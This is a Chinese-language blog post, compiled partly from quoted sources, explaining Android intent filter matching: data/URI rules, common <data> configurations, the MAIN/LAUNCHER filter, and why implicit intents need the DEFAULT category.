d) 如果一个intent包含一个URI 和data type (或者data type 可以从URI中推断出来),那么filter列出的有相同data type ,intent对象的uri要么和filter中的uri匹配,要么intent的uri为 content: or file: 并且filter不指定uri

如果一个Intent 可以通过多个activity或者filter的filter,那么用户将会被询问需要激活哪个组件。 如果一个都没有的话,将会抛出异常。

 

Common cases

 

这个规则是针对 data test 中的规则d) ,它反映出组件可以从一个file或者content provider 获取本地数据。因此,filters 可以是设置data type并且没有必要明确的将 scheme 命名为 content: 和 file: 。

下面的 <data>元素,告诉android该组件可以从content provider中获取image data 并显示她。

<data android:mimeType=”image/*” />

由于大部分可用的数据都是由content provider提供, 指定数据类型但不指定uri的filter是最常见的情况.

Another common configuration is filters with a scheme and a data type. For example, a <data> element like the following tells Android that the component can get video data from the network and display it:

设置了 scheme 和 data type是 另一个比较常见的配置是 。下面的 <data>元素,告诉android该组件可以从网上获取video并显示

<data android:scheme=”http” android:type=”video/*” />

考虑当用户在一个web page上点了一个链接后,浏览器应用程序做了什么。 它首先会试图去显示该数据(当做一个html页来处理)。如果它不能显示此数据,它会使用一个设置 scheme 和 data type 的隐式意图 去启动一个能显示此数据的activity。如果没有找到接受者,它会调用下载管理器去下载该数据,然后将其放在content provider的控制之下,这样很多activitys (那些之命名了datatype)可以处理该数据

大部分应用程序还有一种方式可以单独启动,不用去引用特别的数据。那些要启动应用程序的activity 必须 设置 “android.intent.action.MAIN” 作为action。

如果还要显示在程序启动器上则必须设置 “android.intent.category.LAUNCHER” 为 category.

<intent-filter . . . >
<action android:name=”code android.intent.action.MAIN” />
<category android:name=”code android.intent.category.LAUNCHER” />
</intent-filter>

惹的祸

今天我自己定义了Intent的Action,可在把这个Action写入manifest的时候,没有注意到需要加入<category android:name=”android.intent.category.DEFAULT” />,调试了好久才发现需要加入它,才能让系统找到你定义的Action对应的Activity,不然会一直报找不到Activity的。
官方文档写道:
The categories, if supplied, must all be listed by the activity as categories it handles. That is, if you include the categories CATEGORY_LAUNCHER and CATEGORY_ALTERNATIVE, then you will only resolve to components with an intent that lists both of those categories. Activities will very often need to support the CATEGORY_DEFAULT so that they can be found by Context.startActivity()

下面摘自:http://dev.10086.cn/cmdn/wiki/index.php?doc-view-4941.html

1、要弄清楚这个问题,首先需要弄明白什么是implicit(隐藏) intent什么是explicit(明确) intent。
Explicit Intent明确的指定了要启动的Acitivity ,比如以下Java代码:
Intent intent= new Intent(this, B.class)
Implicit Intent没有明确的指定要启动哪个Activity ,而是通过设置一些Intent Filter来让系统去筛选合适的Acitivity去启动。
2、intent到底发给哪个activity,需要进行三个匹配,一个是action,一个是category,一个是data。
理论上来说,如果intent不指定category,那么无论intent filter的内容是什么都应该是匹配的。但是,如果是implicit intent,Android默认给加上一个CATEGORY_DEFAULT,这样的话如果intent filter中没有android.intent.category.DEFAULT这个category的话,匹配测试就会失败。所以,如果你的 activity支持接收implicit intent的话就一定要在intent filter中加入android.intent.category.DEFAULT。
例外情况是:android.intent.category.MAIN和android.intent.category.LAUNCHER的filter中没有必要加入android.intent.category.DEFAULT,当然加入也没有问题。
我们定义的activity如果接受implicit intent的话,intent filer就一定要加上android.intent.category.DEFAULT这个category。

来自另一篇文章的解释:
在写 AndroidManifest.xml 的时候,一直没有搞明白,什么时候要给 Activityandroid.intent.category.DEFAULT 过滤器,现在才明白。
——————————————————————————–
Android treats all implicit intents passed to startActivity() as if they contained at least one category: “android.intent.category.DEFAULT” (the CATEGORY_DEFAULT constant). Therefore, activities that are willing to receive implicit intents must include “android.intent.category.DEFAULT” in their intent filters
——————————————————————————–
意思是说,每一个通过 startActivity() 方法发出的隐式 Intent 都至少有一个 category,就是 “android.intent.category.DEFAULT”,所以只要是想接收一个隐式 Intent 的 Activity 都应该包括 “android.intent.category.DEFAULT” category,不然将导致 Intent 匹配失败。
从上面的论述还可以获得以下信息:
1、一个 Intent 可以有多个 category,但至少会有一个,也是默认的一个 category。
2、只有 Intent 的所有 category 都匹配上,Activity 才会接收这个 Intent。

From: http://aijiawang-126-com.iteye.com/blog/977739